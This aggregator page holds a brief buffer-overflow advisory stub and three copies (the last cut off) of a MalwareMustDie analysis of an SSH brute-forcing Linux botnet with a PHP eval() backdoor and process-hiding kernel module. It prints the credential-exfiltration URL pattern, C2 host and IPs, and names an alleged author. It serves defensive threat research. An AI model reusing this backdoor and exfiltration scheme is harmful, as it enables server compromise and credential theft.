Weiterlesen Weiterlesen

AccessDiver 4.301 Build 5888 Buffer Overflow

Zur Kategorie wechselnPoC vom | Quelle: packetstormsecurity.com Direktlink direkt öffnen

AccessDiver version 4.301 build 5888 suffers from a buffer overflow vulnerability.
News Bewertung

Weiterlesen Weiterlesen

MMD-0047-2015 - SSHV: SSH bruter ELF botnet malware w/hidden process kernel module

Zur Kategorie wechselnExploits vom | Quelle: blog.malwaremustdie.org Direktlink direkt öffnen

Background

Apparently Linux ELF malware is becoming an interesting attraction from several actors from People Republic of China(in short: PRC). This post is one good example about it. It explains also why myself, from my team (MMD), put many effort to study Linux executable malicious scheme came from that region recently, so does our colleges professional researchers in industry started to put serious effort for this specific threat fro this specific region.

The usage for Linux as the biggest backbone in our internet services, and its OS flexibility to support a lot of processor architecture has made Linux OS as a majority in market of embedded platform used in our the Internet of Things, from routers to television, from web camera to car control system. This fact has also attracted malware actors to overcome and conquer Linux with malicious usage from its system internals (kernel), its web services supported with various script programming, and vulnerabilities of its remote management access ; and this post is explaining these exploited aspects.

Today, one of my friends who is also focusing in monitoring ELF malware threat Mr. Michal Malik was mentioning me an interesting ELF sample he spotted in VirusTotal:

The sample was uploaded from China mainland network in PRC to VirusTotal. It's a new undetected malware that raises my interest to check it, and this is where the story starts.

Malware's installer and its overall malicious scheme

The malware file (md5: dfc09aa4b5c7b49d804d2ce046defb60 [link]) is an x32 binary of a dynamically unstripped ELF structure with readable database. I urge to them who interest in ELF analysis to take a look at the sample directly while reading the following explanation as reference.

Together with its overall malicous scheme of this infection, I will explain the malware binary functionality. Let's start with the malware installation bash script first, please see the illustration of its installer code below:

Along with the set of accompanied malicious files, this ELF malware file (the sample) is downloaded from its download CNC host via an openly accessed HTTP protocol, and is being executed under "God Mode" 777 permission as a daemon. The accompanied malware components files, are supposed to be a kernel module in C code and the binary build-compilation component Makefile file are also downloaded by the same method.

The installer will create the text of PHP script/code with a short commands (see the picture below) which means to extract the eval() value of whatever data sent (obviously via remote) by POST HTTP method to this malicious file "crack". In the end this "crack" code will be saved it in the web server's data directory of the victim's server with the filename of "crack.php". It's not careless to assume that via that posted eval() obviously a shell access can be gained to send activity or command this ELF malware action/daemon, or maybe more.. This is the backdoor process number one on how the malware and infected server can be remotely accessed and controlled by the attacker.

The malicious kernel module source code file, which is a copy-paste code from researchers that is very eager to share their malcodes online openly, will be compiled and inserted (insmod) to the victim's linux kernel. This is the kernel module to produce the invisibility of the malware process among server's processes, by manipulation technique in pid dir entry via Linux kernel's sys_call_table's hooks to avoid the administrator or (in some level) scanners or detection tool to spot the running malicious daemon. This kernel module is a copy paste from some classic PoC code with the very slight modification made by the actor adjusted to the daemon used in this threat. The picture below will explain a very limited view of the code:

There is a good question about this process hiding kernel mode that had been asked in reddit /r/Linux that I answered, I will share it here too here in following picture without showing its malicious code. It explains "a bit" about the kernel internals work of post process-hiding manipulation coded in this malware and explains ways to un-hidden it.

The point of concern here is the code to hack the sys_call_table entries like sys_call_table[SYS_getdents] in this case, for etc PoC purpose is so wide-spread openly, inspiring its usage for coding malware's .ko module like this case.

The malware binary will run with directly connect to download CNC host to retrieve a word list text file (with system shell command wget). Then retrieving the list of IP addresses data (with system shell command wget also) for the target list ; and parsed them to the connection checking function following with cracking attempt function contains commands of the SSH login attack process via two types of authentication : by plain text auth and keyboard auth basis ; to then using brute force attack with the user name which is set to variable value into "root" by hard coding default(It can be changed..) and the downloaded word list beforehand as SSH "password". Upon a matched password, the malware will gain access the shell of the targeted victim and execute a remote command below:

And will send return code "23333" to the crack main function to send the successfully cracked SSH credential to the download CNC via format:

%HOSTNAME%/sshv.php?out=%s&pass=%s
which is also executed by ELF malware using "wget" via shell.

Noted in "different version", there is a deactivated code section explained an HTTP network beacon activity as per below request:

Protocol: "HTTP/1.1" 
host: "city.ip138.com"
GET "/ip2city.asp"
- to determine the location of the infected server. This is the second backdoor function of this malware. There is also being detected another activity to check whether the correct files were downloaded from the CNC download server under specific condition, that can be actually expanded to updates functionality, if the code was activated that would be the third backdoor verdict.

I made a very rough sketch during the my reversing analysis to figure the overall concept of this malware, it's really a private sketch but may help you too to understand the above summary, as per illustration below.. please bear the paintbrush level of graphic, I don't have much time nor luxury to make a neat note.

Hmm.. I think I wrote the summary a bit too long.. I'm sorry about that..

The malicious verdict explained in reversing mode

In this section I will skip the static analysis of the binary form, for the tips/reference of how I conduct a dynamic link ELF binary please see the previous analysis of K-Defend malware [link], and I was doing about the same in this case too.

So right now, I will show some pointers of the functions described in the summary above in x32 Intel assembly reversed code, with some correlation in C language, this section is made for the purpose to Proof of Concept the verdict/evidence of this binary as per summarized in the above section. I am using only r2 my beloved platform for malware analysis, for this purpose. I might not cover the whole summary for the limited space and time, so you can feel free to confirm the details.

The starting main() function of the malware process, see how system (read: shell environment) was invoked by the wget commands which is used as per below:

The checking connection process was done using the ping command with capturing its stream result.

This is the function 0x0804A384 of what is named as sshgussing() function, which is the typo of the SSHGuessing I guess, explaining the brute SSH authentication session, with default "root" password used while feeding the passwords, it shows the remote shell command executed upon connection success,flagging the "crackz" pointer into 1, a success message shown afterwards and return value of "23333" in its decimal value:



The return value "23333" from sshgussing() function will trigger the malware to send the cracked IP address and password credential to the remote host CNC via wget to a PHP API file provided in the CNC host for that purpose:

To be clearly noted here: Referring to the description I wrote of the malware until this line, this malware is having another potentially dangerous function to self spread itself as a Worm to infect other host and to another host after that, without even the coder/herder/actor always in control for it, as wide ranged as the CNC target IP addresses listed, and as long as the CNC target file is available to be downloaded by the compromised(infected) server.. This is why I called this as a "nasty" malware in its design.

The threat's source

For the mitigation purpose herewith the network correlation of the threat:

1. The CNC host for download and credential panel API(in php) is served under hostname of "testzzzzzz.10g.me" which is located in IP as per below. (PS: I think the coder loves to add some "Z" in several keywords..:

;; QUESTION SECTION:
;testzzzzzz.10g.me. IN A

;; ANSWER SECTION:
testzzzzzz.10g.me. 3600 IN A 93.188.160.78

;; AUTHORITY SECTION:
10g.me. 3600 IN NS ns1.main-hosting.com.
10g.me. 3600 IN NS ns2.main-hosting.com.

;; ADDITIONAL SECTION:
ns1.main-hosting.com. 3600 IN A 31.170.163.241
ns2.main-hosting.com. 3600 IN A 31.220.23.1
It was checked that the actor is utilizing the service of the China domain hoster: 10g.me to set this CNC host.

2. The first 3 IP addresses in sshv-service-rule are suspected belong to the actor(s) themself.

$ cat sshv-service-rule
#1
"178.62.163.229"
"101.229.[65-70].128"
"178.62.163.[228-231]"
10.10.10.*
10.[20-25].123.123
Which 178.62.163.[228-231] is apparently a rental VPS in Digital Ocean Hoster at Netherland data center:
{
"ip": "178.62.163.[228-231]",
"hostname": "No Hostname",
"city": "Amsterdam",
"region": "North Holland",
"country": "NL",
"loc": "52.3740,4.8897",
"org": "AS200130 Digital Ocean, Inc.",
"postal": "1000"
}
3. There is another IP to be marked with, linked with the actor information directly and his purpose in the following section.

The bad (kid) actor..

Obviously the actor, which is undoubtedly the coder of the kernel module of this malware according to the previous written codes, which he is not caring much off his privacy too, his name is spotted in the malware set of kernel module source code. Maybe he can code a bit in C and does some Linux operations & code some scripts, but this guy is an amateur if he is a crook.. NEVERTHELESS, undoubtedly, he was making a VERY nasty new approach of a bad ELF malware botnet and implementing it in our internet!! And for this, it has to be stopped!

A further investigation on the "ssh-service-rule" hosts is bumped to the identification of the "actor":

It doesn't take much time afterwards for our team to spot the actor's ID and his "project". To Jerry Xu in Shanghai, China. WE ARE ALL STARRING AT YOU NOW! [removed] [removed]! STOP playing with SSH hacking botnet!!

For further trace we found Jerry Xu's GitHub, it is in here-->[removed]
And in that Github his malware coding project with name of "Computer_System_Project" for this malware is also spotted afterward after analysis report was posted:

The "malware / virus project's" itinerary, deisgn and how to build it:

We will leave it to you all to think about the morality and educational aspect in using such malware for the "school project", I have a deep doubt about the supervising scheme for this project too actually. But, one thing for sure is, when Michal and myself sees the binary of this bot client, we see it as a dangerous ELF malware. A further check that we are doing is showing that the malware actor himself was uploading the malware binary to the VirusTotal for the possible purpose to check its detection ratio..
Well, as a "school project" they really are getting a bit out of hand here, isn't it?

The below data is likely Jerry's related IP address located in Shanghai, as per spotted in his sshv-service-rule, so if you see some malicious activity from it, this post can be used as reference of what had happened:

{
"ip": "101.229.65.128",
"hostname": "No Hostname",
"city": "Shanghai",
"region": "Shanghai Shi",
"country": "CN",
"loc": "31.0456,121.3997",
"org": "AS4812 China Telecom (Group)"
}

It looks like Jerry & Co is testing his malware "online" to some internet servers too. This is snipped result of data grabbed saved in the CNC containing success exploitation IP and password of SSH targeted servers. I would say it could be a test stage result.

Guideline to conduct a responsible malware research

We are not against research for malicious codes, and it is good for doing such research for the further mitigation and protection purpose. However, "malcodes" can do harm and can be re-use by cyber criminal for the bad purpose. Therefore, such research has to be properly/securely setup to conduct tests for its legit purpose.

There are basic guidelines to be must-followed in order to securely setup and conduct such research with its tests. From our point of view, the basic guidelines to follow is as per below points:

- Always put some notes in binary/environment stated the purpose of research/test
- Never conduct the test in the open internet connectivity
- Do not EVER use internet nodes as a test bed!! Unless you have written consent for it.
- Highly supervised by the responsible legit entity and/or institution
- Do not share the malcodes openly and leave it up-and-alive openly accessible in internet
( do the limited access for the research purpose )

Epilogue and follow up

I thank Michal for this good finding. And for MalwareMustDie ELF team mates who swiftly cracked the source of the threat, ID and the real situation of this case, you are all awesome! Thank you to all friends who help to follow the case until the very end of it.

Let's not make our internet dirty by be more responsible in conducting research on dangerous material like computer virus or malware. Please remember that in some countries even if you own the source code of the malware you'll have a serious trouble with the law and authority.

For the research purpose, you can fetch the sample safely in our-beloved ELF malware repository in kernelmode.info [link], you'll see my experts colleagues in ELF malware research are on discussion on this threat, you can join this malware related discussion in there.

For the mitigation, Linux hardening and sysadmin perspective of this type of malware threat, there is a nice discussion that I am assisting on reddit's /r/linux [link], on the other reddit's /r/Malware thread I am posting follow up info of the case [link].

The apology from coder & a requirement of the virus making project..

After following some requests, we saw the infrastructure for this malware was taken down:

@MalwareMustDie After 24h post & requests sent to GitHub & Univ, CNC+GitHub #malware code was taken down, THANK YOU! pic.twitter.com/fQJzFVIeHv

— ☩MalwareMustDie (@MalwareMustDie) December 25, 2015

We then received a sincere apology message from the malware coder. He admitted to test it online too. You can see his message posted in his blog by online in here [link]. It's in English so you can read and comprehend the message as well as I do.

I, on behalf of my team, thanked Jerry for the sincere apology, and will delete the privacy related link and material I posted to this post after we confirm some facts further. The point in the message that I think you all need to know too is, as per shown in the below picture.

We need to be cleared of one thing only, is it a requirement from himself as the virus project leader or from the university side to make this virus project with its requirement?

I think Jerry personally knows the bad effect of his "project" and he gently admits his mistake showing he now awares of the dangerous effect for openly deploying his virus project and his tests. He made a good decision to put down all codes offline the GitHub, I respect that. After all, we thank Jerry for raising a very important aspect in Linux security too. It is a Christmas session now, let's accept the apology (upon confirming some facts) and Merry Christmas to Jerry from MalwareMustDie.

#MalwareMustDie!


News Bewertung

Weiterlesen Weiterlesen

MMD-0047-2015 - SSHV: SSH bruter ELF botnet malware w/hidden process kernel module

Zur Kategorie wechselnNachrichten vom | Quelle: blog.malwaremustdie.org Direktlink direkt öffnen

Background

Apparently Linux ELF malware is becoming an interesting attraction from several actors from People Republic of China(in short: PRC). This post is one good example about it. It explains also why myself, from my team (MMD), put many effort to study Linux executable malicious scheme came from that region recently, so does our colleges professional researchers in industry started to put serious effort for this specific threat fro this specific region.

The usage for Linux as the biggest backbone in our internet services, and its OS flexibility to support a lot of processor architecture has made Linux OS as a majority in market of embedded platform used in our the Internet of Things, from routers to television, from web camera to car control system. This fact has also attracted malware actors to overcome and conquer Linux with malicious usage from its system internals (kernel), its web services supported with various script programming, and vulnerabilities of its remote management access ; and this post is explaining these exploited aspects.

Today, one of my friends who is also focusing in monitoring ELF malware threat Mr. Michal Malik was mentioning me an interesting ELF sample he spotted in VirusTotal:

The sample was uploaded from China mainland network in PRC to VirusTotal. It's a new undetected malware that raises my interest to check it, and this is where the story starts.

Malware's installer and its overall malicious scheme

The malware file (md5: dfc09aa4b5c7b49d804d2ce046defb60 [link]) is an x32 binary of a dynamically unstripped ELF structure with readable database. I urge to them who interest in ELF analysis to take a look at the sample directly while reading the following explanation as reference.

Together with its overall malicous scheme of this infection, I will explain the malware binary functionality. Let's start with the malware installation bash script first, please see the illustration of its installer code below:

Along with the set of accompanied malicious files, this ELF malware file (the sample) is downloaded from its download CNC host via an openly accessed HTTP protocol, and is being executed under "God Mode" 777 permission as a daemon. The accompanied malware components files, are supposed to be a kernel module in C code and the binary build-compilation component Makefile file are also downloaded by the same method.

The installer will create the text of PHP script/code with a short commands (see the picture below) which means to extract the eval() value of whatever data sent (obviously via remote) by POST HTTP method to this malicious file "crack". In the end this "crack" code will be saved it in the web server's data directory of the victim's server with the filename of "crack.php". It's not careless to assume that via that posted eval() obviously a shell access can be gained to send activity or command this ELF malware action/daemon, or maybe more.. This is the backdoor process number one on how the malware and infected server can be remotely accessed and controlled by the attacker.

The malicious kernel module source code file, which is a copy-paste code from researchers that is very eager to share their malcodes online openly, will be compiled and inserted (insmod) to the victim's linux kernel. This is the kernel module to produce the invisibility of the malware process among server's processes, by manipulation technique in pid dir entry via Linux kernel's sys_call_table's hooks to avoid the administrator or (in some level) scanners or detection tool to spot the running malicious daemon. This kernel module is a copy paste from some classic PoC code with the very slight modification made by the actor adjusted to the daemon used in this threat. The picture below will explain a very limited view of the code:

There is a good question about this process hiding kernel mode that had been asked in reddit /r/Linux that I answered, I will share it here too here in following picture without showing its malicious code. It explains "a bit" about the kernel internals work of post process-hiding manipulation coded in this malware and explains ways to un-hidden it.

The point of concern here is the code to hack the sys_call_table entries like sys_call_table[SYS_getdents] in this case, for etc PoC purpose is so wide-spread openly, inspiring its usage for coding malware's .ko module like this case.

The malware binary will run with directly connect to download CNC host to retrieve a word list text file (with system shell command wget). Then retrieving the list of IP addresses data (with system shell command wget also) for the target list ; and parsed them to the connection checking function following with cracking attempt function contains commands of the SSH login attack process via two types of authentication : by plain text auth and keyboard auth basis ; to then using brute force attack with the user name which is set to variable value into "root" by hard coding default(It can be changed..) and the downloaded word list beforehand as SSH "password". Upon a matched password, the malware will gain access the shell of the targeted victim and execute a remote command below:

And will send return code "23333" to the crack main function to send the successfully cracked SSH credential to the download CNC via format:

%HOSTNAME%/sshv.php?out=%s&pass=%s
which is also executed by ELF malware using "wget" via shell.

Noted in "different version", there is a deactivated code section explained an HTTP network beacon activity as per below request:

Protocol: "HTTP/1.1" 
host: "city.ip138.com"
GET "/ip2city.asp"
- to determine the location of the infected server. This is the second backdoor function of this malware. There is also being detected another activity to check whether the correct files were downloaded from the CNC download server under specific condition, that can be actually expanded to updates functionality, if the code was activated that would be the third backdoor verdict.

I made a very rough sketch during the my reversing analysis to figure the overall concept of this malware, it's really a private sketch but may help you too to understand the above summary, as per illustration below.. please bear the paintbrush level of graphic, I don't have much time nor luxury to make a neat note.

Hmm.. I think I wrote the summary a bit too long.. I'm sorry about that..

The malicious verdict explained in reversing mode

In this section I will skip the static analysis of the binary form, for the tips/reference of how I conduct a dynamic link ELF binary please see the previous analysis of K-Defend malware [link], and I was doing about the same in this case too.

So right now, I will show some pointers of the functions described in the summary above in x32 Intel assembly reversed code, with some correlation in C language, this section is made for the purpose to Proof of Concept the verdict/evidence of this binary as per summarized in the above section. I am using only r2 my beloved platform for malware analysis, for this purpose. I might not cover the whole summary for the limited space and time, so you can feel free to confirm the details.

The starting main() function of the malware process, see how system (read: shell environment) was invoked by the wget commands which is used as per below:

The checking connection process was done using the ping command with capturing its stream result.

This is the function 0x0804A384 of what is named as sshgussing() function, which is the typo of the SSHGuessing I guess, explaining the brute SSH authentication session, with default "root" password used while feeding the passwords, it shows the remote shell command executed upon connection success,flagging the "crackz" pointer into 1, a success message shown afterwards and return value of "23333" in its decimal value:



The return value "23333" from sshgussing() function will trigger the malware to send the cracked IP address and password credential to the remote host CNC via wget to a PHP API file provided in the CNC host for that purpose:

To be clearly noted here: Referring to the description I wrote of the malware until this line, this malware is having another potentially dangerous function to self spread itself as a Worm to infect other host and to another host after that, without even the coder/herder/actor always in control for it, as wide ranged as the CNC target IP addresses listed, and as long as the CNC target file is available to be downloaded by the compromised(infected) server.. This is why I called this as a "nasty" malware in its design.

The threat's source

For the mitigation purpose herewith the network correlation of the threat:

1. The CNC host for download and credential panel API(in php) is served under hostname of "testzzzzzz.10g.me" which is located in IP as per below. (PS: I think the coder loves to add some "Z" in several keywords..:

;; QUESTION SECTION:
;testzzzzzz.10g.me. IN A

;; ANSWER SECTION:
testzzzzzz.10g.me. 3600 IN A 93.188.160.78

;; AUTHORITY SECTION:
10g.me. 3600 IN NS ns1.main-hosting.com.
10g.me. 3600 IN NS ns2.main-hosting.com.

;; ADDITIONAL SECTION:
ns1.main-hosting.com. 3600 IN A 31.170.163.241
ns2.main-hosting.com. 3600 IN A 31.220.23.1
It was checked that the actor is utilizing the service of the China domain hoster: 10g.me to set this CNC host.

2. The first 3 IP addresses in sshv-service-rule are suspected belong to the actor(s) themself.

$ cat sshv-service-rule
#1
"178.62.163.229"
"101.229.[65-70].128"
"178.62.163.[228-231]"
10.10.10.*
10.[20-25].123.123
Which 178.62.163.[228-231] is apparently a rental VPS in Digital Ocean Hoster at Netherland data center:
{
"ip": "178.62.163.[228-231]",
"hostname": "No Hostname",
"city": "Amsterdam",
"region": "North Holland",
"country": "NL",
"loc": "52.3740,4.8897",
"org": "AS200130 Digital Ocean, Inc.",
"postal": "1000"
}
3. There is another IP to be marked with, linked with the actor information directly and his purpose in the following section.

The bad (kid) actor..

Obviously the actor, which is undoubtedly the coder of the kernel module of this malware according to the previous written codes, which he is not caring much off his privacy too, his name is spotted in the malware set of kernel module source code. Maybe he can code a bit in C and does some Linux operations & code some scripts, but this guy is an amateur if he is a crook.. NEVERTHELESS, undoubtedly, he was making a VERY nasty new approach of a bad ELF malware botnet and implementing it in our internet!! And for this, it has to be stopped!

A further investigation on the "ssh-service-rule" hosts is bumped to the identification of the "actor":

It doesn't take much time afterwards for our team to spot the actor's ID and his "project". To Jerry Xu in Shanghai, China. WE ARE ALL STARRING AT YOU NOW! [removed] [removed]! STOP playing with SSH hacking botnet!!

For further trace we found Jerry Xu's GitHub, it is in here-->[removed]
And in that Github his malware coding project with name of "Computer_System_Project" for this malware is also spotted afterward after analysis report was posted:

The "malware / virus project's" itinerary, deisgn and how to build it:

We will leave it to you all to think about the morality and educational aspect in using such malware for the "school project", I have a deep doubt about the supervising scheme for this project too actually. But, one thing for sure is, when Michal and myself sees the binary of this bot client, we see it as a dangerous ELF malware. A further check that we are doing is showing that the malware actor himself was uploading the malware binary to the VirusTotal for the possible purpose to check its detection ratio..
Well, as a "school project" they really are getting a bit out of hand here, isn't it?

The below data is likely Jerry's related IP address located in Shanghai, as per spotted in his sshv-service-rule, so if you see some malicious activity from it, this post can be used as reference of what had happened:

{
"ip": "101.229.65.128",
"hostname": "No Hostname",
"city": "Shanghai",
"region": "Shanghai Shi",
"country": "CN",
"loc": "31.0456,121.3997",
"org": "AS4812 China Telecom (Group)"
}

It looks like Jerry & Co is testing his malware "online" to some internet servers too. This is snipped result of data grabbed saved in the CNC containing success exploitation IP and password of SSH targeted servers. I would say it could be a test stage result.

Guideline to conduct a responsible malware research

We are not against research for malicious codes, and it is good for doing such research for the further mitigation and protection purpose. However, "malcodes" can do harm and can be re-use by cyber criminal for the bad purpose. Therefore, such research has to be properly/securely setup to conduct tests for its legit purpose.

There are basic guidelines to be must-followed in order to securely setup and conduct such research with its tests. From our point of view, the basic guidelines to follow is as per below points:

- Always put some notes in binary/environment stated the purpose of research/test
- Never conduct the test in the open internet connectivity
- Do not EVER use internet nodes as a test bed!! Unless you have written consent for it.
- Highly supervised by the responsible legit entity and/or institution
- Do not share the malcodes openly and leave it up-and-alive openly accessible in internet
( do the limited access for the research purpose )

Epilogue and follow up

I thank Michal for this good finding. And for MalwareMustDie ELF team mates who swiftly cracked the source of the threat, ID and the real situation of this case, you are all awesome! Thank you to all friends who help to follow the case until the very end of it.

Let's not make our internet dirty by be more responsible in conducting research on dangerous material like computer virus or malware. Please remember that in some countries even if you own the source code of the malware you'll have a serious trouble with the law and authority.

For the research purpose, you can fetch the sample safely in our-beloved ELF malware repository in kernelmode.info [link], you'll see my experts colleagues in ELF malware research are on discussion on this threat, you can join this malware related discussion in there.

For the mitigation, Linux hardening and sysadmin perspective of this type of malware threat, there is a nice discussion that I am assisting on reddit's /r/linux [link], on the other reddit's /r/Malware thread I am posting follow up info of the case [link].

The apology from coder & a requirement of the virus making project..

After following some requests, we saw the infrastructure for this malware was taken down:

@MalwareMustDie After 24h post & requests sent to GitHub & Univ, CNC+GitHub #malware code was taken down, THANK YOU! pic.twitter.com/fQJzFVIeHv

— ☩MalwareMustDie (@MalwareMustDie) December 25, 2015

We then received a sincere apology message from the malware coder. He admitted to test it online too. You can see his message posted in his blog by online in here [link]. It's in English so you can read and comprehend the message as well as I do.

I, on behalf of my team, thanked Jerry for the sincere apology, and will delete the privacy related link and material I posted to this post after we confirm some facts further. The point in the message that I think you all need to know too is, as per shown in the below picture.

We need to be cleared of one thing only, is it a requirement from himself as the virus project leader or from the university side to make this virus project with its requirement?

I think Jerry personally knows the bad effect of his "project" and he gently admits his mistake showing he now awares of the dangerous effect for openly deploying his virus project and his tests. He made a good decision to put down all codes offline the GitHub, I respect that. After all, we thank Jerry for raising a very important aspect in Linux security too. It is a Christmas session now, let's accept the apology (upon confirming some facts) and Merry Christmas to Jerry from MalwareMustDie.

#MalwareMustDie!


News Bewertung

Weiterlesen Weiterlesen

MMD-0047-2015 - SSHV: SSH bruter ELF botnet malware w/hidden process kernel module

Zur Kategorie wechselnVideo vom | Quelle: blog.malwaremustdie.org Direktlink direkt öffnen

Background

Apparently Linux ELF malware is becoming an interesting attraction from several actors from People Republic of China(in short: PRC). This post is one good example about it. It explains also why myself, from my team (MMD), put many effort to study Linux executable malicious scheme came from that region recently, so does our colleges professional researchers in industry started to put serious effort for this specific threat fro this specific region.

The usage for Linux as the biggest backbone in our internet services, and its OS flexibility to support a lot of processor architecture has made Linux OS as a majority in market of embedded platform used in our the Internet of Things, from routers to television, from web camera to car control system. This fact has also attracted malware actors to overcome and conquer Linux with malicious usage from its system internals (kernel), its web services supported with various script programming, and vulnerabilities of its remote management access ; and this post is explaining these exploited aspects.

Today, one of my friends who is also focusing in monitoring ELF malware threat Mr. Michal Malik was mentioning me an interesting ELF sample he spotted in VirusTotal:

The sample was uploaded from China mainland network in PRC to VirusTotal. It's a new undetected malware that raises my interest to check it, and this is where the story starts.

Malware's installer and its overall malicious scheme

The malware file (md5: dfc09aa4b5c7b49d804d2ce046defb60 [link]) is an x32 binary of a dynamically unstripped ELF structure with readable database. I urge to them who interest in ELF analysis to take a look at the sample directly while reading the following explanation as reference.

Together with its overall malicous scheme of this infection, I will explain the malware binary functionality. Let's start with the malware installation bash script first, please see the illustration of its installer code below:

Along with the set of accompanied malicious files, this ELF malware file (the sample) is downloaded from its download CNC host via an openly accessed HTTP protocol, and is being executed under "God Mode" 777 permission as a daemon. The accompanied malware components files, are supposed to be a kernel module in C code and the binary build-compilation component Makefile file are also downloaded by the same method.

The installer will create the text of PHP script/code with a short commands (see the picture below) which means to extract the eval() value of whatever data sent (obviously via remote) by POST HTTP method to this malicious file "crack". In the end this "crack" code will be saved it in the web server's data directory of the victim's server with the filename of "crack.php". It's not careless to assume that via that posted eval() obviously a shell access can be gained to send activity or command this ELF malware action/daemon, or maybe more.. This is the backdoor process number one on how the malware and infected server can be remotely accessed and controlled by the attacker.

The malicious kernel module source code file, which is a copy-paste code from researchers that is very eager to share their malcodes online openly, will be compiled and inserted (insmod) to the victim's linux kernel. This is the kernel module to produce the invisibility of the malware process among server's processes, by manipulation technique in pid dir entry via Linux kernel's sys_call_table's hooks to avoid the administrator or (in some level) scanners or detection tool to spot the running malicious daemon. This kernel module is a copy paste from some classic PoC code with the very slight modification made by the actor adjusted to the daemon used in this threat. The picture below will explain a very limited view of the code:

There is a good question about this process hiding kernel mode that had been asked in reddit /r/Linux that I answered, I will share it here too here in following picture without showing its malicious code. It explains "a bit" about the kernel internals work of post process-hiding manipulation coded in this malware and explains ways to un-hidden it.

The point of concern here is the code to hack the sys_call_table entries like sys_call_table[SYS_getdents] in this case, for etc PoC purpose is so wide-spread openly, inspiring its usage for coding malware's .ko module like this case.

The malware binary will run with directly connect to download CNC host to retrieve a word list text file (with system shell command wget). Then retrieving the list of IP addresses data (with system shell command wget also) for the target list ; and parsed them to the connection checking function following with cracking attempt function contains commands of the SSH login attack process via two types of authentication : by plain text auth and keyboard auth basis ; to then using brute force attack with the user name which is set to variable value into "root" by hard coding default(It can be changed..) and the downloaded word list beforehand as SSH "password". Upon a matched password, the malware will gain access the shell of the targeted victim and execute a remote command below:

And will send return code "23333" to the crack main function to send the successfully cracked SSH credential to the download CNC via format:

%HOSTNAME%/sshv.php?out=%s&pass=%s
which is also executed by ELF malware using "wget" via shell.

Noted in "different version", there is a deactivated code section explained an HTTP network beacon activity as per below request:

Protocol: "HTTP/1.1" 
host: "city.ip138.com"
GET "/ip2city.asp"
- to determine the location of the infected server. This is the second backdoor function of this malware. There is also being detected another activity to check whether the correct files were downloaded from the CNC download server under specific condition, that can be actually expanded to updates functionality, if the code was activated that would be the third backdoor verdict.

I made a very rough sketch during the my reversing analysis to figure the overall concept of this malware, it's really a private sketch but may help you too to understand the above summary, as per illustration below.. please bear the paintbrush level of graphic, I don't have much time nor luxury to make a neat note.

Hmm.. I think I wrote the summary a bit too long.. I'm sorry about that..

The malicious verdict explained in reversing mode

In this section I will skip the static analysis of the binary form, for the tips/reference of how I conduct a dynamic link ELF binary please see the previous analysis of K-Defend malware [link], and I was doing about the same in this case too.

So right now, I will show some pointers of the functions described in the summary above in x32 Intel assembly reversed code, with some correlation in C language, this section is made for the purpose to Proof of Concept the verdict/evidence of this binary as per summarized in the above section. I am using only r2 my beloved platform for malware analysis, for this purpose. I might not cover the whole summary for the limited space and time, so you can feel free to confirm the details.

The starting main() function of the malware process, see how system (read: shell environment) was invoked by the wget commands which is used as per below:

The checking connection process was done using the ping command with capturing its stream result.

This is the function 0x0804A384 of what is named as sshgussing() function, which is the typo of the SSHGuessing I guess, explaining the brute SSH authentication session, with default "root" password used while feeding the passwords, it shows the remote shell command executed upon connection success,flagging the "crackz" pointer into 1, a success message shown afterwards and return value of "23333" in its decimal value:



The return value "23333" from sshgussing() function will trigger the malware to send the cracked IP address and password credential to the remote host CNC via wget to a PHP API file provided in the CNC host for that purpose:

To be clearly noted here: Referring to the description I wrote of the malware until this line, this malware is having another potentially dangerous function to self spread itself as a Worm to infect other host and to another host after that, without even the coder/herder/actor always in control for it, as wide ranged as the CNC target IP addresses listed, and as long as the CNC target file is available to be downloaded by the compromised(infected) server.. This is why I called this as a "nasty" malware in its design.

The threat's source

For the mitigation purpose herewith the network correlation of the threat:

1. The CNC host for download and credential panel API(in php) is served under hostname of "testzzzzzz.10g.me" which is located in IP as per below. (PS: I think the coder loves to add some "Z" in several keywords..:

;; QUESTION SECTION:
;testzzzzzz.10g.me. IN A

;; ANSWER SECTION:
testzzzzzz.10g.me. 3600 IN A 93.188.160.78

;; AUTHORITY SECTION:
10g.me. 3600 IN NS ns1.main-hosting.com.
10g.me. 3600 IN NS ns2.main-hosting.com.

;; ADDITIONAL SECTION:
ns1.main-hosting.com. 3600 IN A 31.170.163.241
ns2.main-hosting.com. 3600 IN A 31.220.23.1
It was checked that the actor is utilizing the service of the China domain hoster: 10g.me to set this CNC host.

2. The first 3 IP addresses in sshv-service-rule are suspected belong to the actor(s) themself.

$ cat sshv-service-rule
#1
"178.62.163.229"
"101.229.[65-70].128"
"178.62.163.[228-231]"
10.10.10.*
10.[20-25].123.123
Which 178.62.163.[228-231] is apparently a rental VPS in Digital Ocean Hoster at Netherland data center:
{
"ip": "178.62.163.[228-231]",
"hostname": "No Hostname",
"city": "Amsterdam",
"region": "North Holland",
"country": "NL",
"loc": "52.3740,4.8897",
"org": "AS200130 Digital Ocean, Inc.",
"postal": "1000"
}
3. There is another IP to be marked with, linked with the actor information directly and his purpose in the following section.

The bad (kid) actor..

Obviously the actor, which is undoubtedly the coder of the kernel module of this malware according to the previous written codes, which he is not caring much off his privacy too, his name is spotted in the malware set of kernel module source code. Maybe he can code a bit in C and does some Linux operations & code some scripts, but this guy is an amateur if he is a crook.. NEVERTHELESS, undoubtedly, he was making a VERY nasty new approach of a bad ELF malware botnet and implementing it in our internet!! And for this, it has to be stopped!

A further investigation on the "ssh-service-rule" hosts is bumped to the identification of the "actor":

It doesn't take much time afterwards for our team to spot the actor's ID and his "project". To Jerry Xu in Shanghai, China. WE ARE ALL STARRING AT YOU NOW! [removed] [removed]! STOP playing with SSH hacking botnet!!

For further trace we found Jerry Xu's GitHub, it is in here-->[removed]
And in that Github his malware coding project with name of "Computer_System_Project" for this malware is also spotted afterward after analysis report was posted:

The "malware / virus project's" itinerary, deisgn and how to build it:

We will leave it to you all to think about the morality and educational aspect in using such malware for the "school project", I have a deep doubt about the supervising scheme for this project too actually. But, one thing for sure is, when Michal and myself sees the binary of this bot client, we see it as a dangerous ELF malware. A further check that we are doing is showing that the malware actor himself was uploading the malware binary to the VirusTotal for the possible purpose to check its detection ratio..
Well, as a "school project" they really are getting a bit out of hand here, isn't it?

The below data is likely Jerry's related IP address located in Shanghai, as per spotted in his sshv-service-rule, so if you see some malicious activity from it, this post can be used as reference of what had happened:

{
"ip": "101.229.65.128",
"hostname": "No Hostname",
"city": "Shanghai",
"region": "Shanghai Shi",
"country": "CN",
"loc": "31.0456,121.3997",
"org": "AS4812 China Telecom (Group)"
}

